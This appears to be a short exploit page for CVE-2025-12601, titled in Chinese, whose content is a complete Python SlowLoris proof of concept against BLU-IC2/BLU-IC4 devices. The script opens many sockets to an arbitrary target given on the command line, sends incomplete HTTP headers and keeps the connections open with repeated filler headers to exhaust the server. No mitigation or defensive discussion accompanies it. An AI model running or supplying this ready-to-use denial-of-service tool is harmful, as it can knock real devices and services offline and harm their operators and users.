CVE-2025-12601 BLU-IC2/BLU-IC4 SlowLoris拒绝服务漏洞

#!/usr/bin/env python3 # CVE-2025-12601 PoC - SlowLoris DoS Attack for BLU-IC2/BLU-IC4 # This PoC demonstrates SlowLoris attack technique import socket import time import argparse from concurrent.futures import ThreadPoolExecutor, as_completed def slowloris_attack(target_host, target_port, sockets_count, delay_time): """ Perform SlowLoris attack on target server Args: target_host: Target server IP or hostname target_port: Target server port (typically 80 or 443) sockets_count: Number of sockets to create delay_time: Delay between header sends in seconds """ sockets = [] print(f"[*] Starting SlowLoris attack against {target_host}:{target_port}") print(f"[*] Creating {sockets_count} connections...") # Create socket connections for i in range(sockets_count): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(4) sock.connect((target_host, target_port)) # Send partial HTTP request with incomplete headers request = f"GET / HTTP/1.1\r\n" request += f"Host: {target_host}\r\n" request += "User-Agent: Mozilla/5.0\r\n" request += "Accept: text/html,application/xhtml+xml\r\n" # Do NOT send Content-Length or final \r\n sock.send(request.encode()) sockets.append(sock) print(f"[+] Socket {i+1}/{sockets_count} established") except Exception as e: print(f"[-] Error creating socket {i+1}: {e}") print(f"[*] {len(sockets)} connections established, keeping alive...") print(f"[*] Sending keep-alive data every {delay_time} seconds") # Keep connections alive by sending partial data try: while True: for sock in sockets[:]: try: # Send a partial header line to keep connection alive sock.send(b"X-a: b\r\n") time.sleep(delay_time) except: sockets.remove(sock) print(f"[-] Connection lost, removed from pool") if len(sockets) < sockets_count // 2: print(f"[!] Warning: Less than 50% connections active ({len(sockets)}/{sockets_count})") except KeyboardInterrupt: print("\n[*] Attack stopped by user") finally: print("[*] Closing all connections...") for sock in sockets: try: sock.close() except: pass def main(): parser = argparse.ArgumentParser(description='CVE-2025-12601 SlowLoris PoC') parser.add_argument('target', help='Target host/IP') parser.add_argument('-p', '--port', type=int, default=80, help='Target port (default: 80)') parser.add_argument('-s', '--sockets', type=int, default=200, help='Number of sockets (default: 200)') parser.add_argument('-d', '--delay', type=float, default=15, help='Delay between sends in seconds (default: 15)') args = parser.parse_args() slowloris_attack(args.target, args.port, args.sockets, args.delay) if __name__ == '__main__': main()